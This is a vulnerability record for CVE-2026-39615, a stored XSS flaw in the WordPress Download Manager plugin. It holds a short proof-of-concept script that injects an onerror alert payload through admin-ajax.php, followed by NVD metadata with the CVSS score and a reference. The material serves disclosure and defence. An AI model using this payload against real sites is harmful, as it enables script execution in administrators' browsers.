CVE-2026-39615

<!-- PoC Concept for Stored XSS in Download Manager Attacker injects payload via a vulnerable input field (e.g., File Description) --> <script> // Example Payload to be injected in a vulnerable field var payload = '<img src=x onerror=alert(1)>'; // Simulation of the request (Actual endpoint may vary) fetch('/wp-admin/admin-ajax.php', { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded', }, body: 'action=save_package&description=' + encodeURIComponent(payload) }).then(response => console.log('Payload injected')); </script> <!-- When an admin views the affected package list or details, the alert(1) will trigger in the browser context. -->

{"cve": {"id": "CVE-2026-39615", "sourceIdentifier": "[email protected]", "published": "2026-04-08T09:16:31.323", "lastModified": "2026-04-24T18:06:58.907", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Shahjada Download Manager download-manager allows Stored XSS.This issue affects Download Manager: from n/a through <= 3.3.53."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.7, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/download-manager/vulnerability/wordpress-download-manager-plugin-3-3-51-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}